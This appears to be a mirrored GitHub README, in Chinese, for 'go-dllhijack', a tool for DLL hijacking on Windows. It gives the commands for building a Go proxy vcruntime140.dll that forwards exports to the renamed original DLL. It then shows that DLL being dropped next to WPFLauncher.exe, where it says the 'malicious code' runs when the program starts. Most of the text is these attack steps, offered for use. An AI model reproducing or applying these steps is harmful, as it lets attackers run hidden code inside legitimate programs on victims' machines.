Giter VIP home page Giter VIP logo

go-dllhijack's Introduction

go-dllhijack

##基于go的简单劫持方法 ———————————————————————— #使用 ###在使用前请确保你系统上有GoLang python MinGW

##以vcruntime140.dll为例

git clone https://github.com/famei/go-dllhijack
pip install pefile
python def.py vcruntime140.dll

#会得到以下输出

###将输出的内容复制到win.def内 ###新建一个bat脚本

dlltool --output-exp win.exp --input-def win.def
set GOOS=windows
set GOARCH=386
set CGO_ENABLED=1
go build -buildmode=c-shared -o vcruntime140.dll -ldflags="-extldflags=-Wl,{文件夹绝对路径}\win.exp -s -w"

###会得到一个vcruntime140.dll文件 将正常的vcruntime140.dll重命名为_vcruntime140.dll 将恶意的vcruntime140.dll和_vcruntime140.dl放在同一目录

这里用WPFLauncher.exe作为演示 双击WPFLauncher.exe程序正常运行 恶意代码被成功执行

go-dllhijack's People

Contributors

famei avatar

Watchers

James Cloos avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.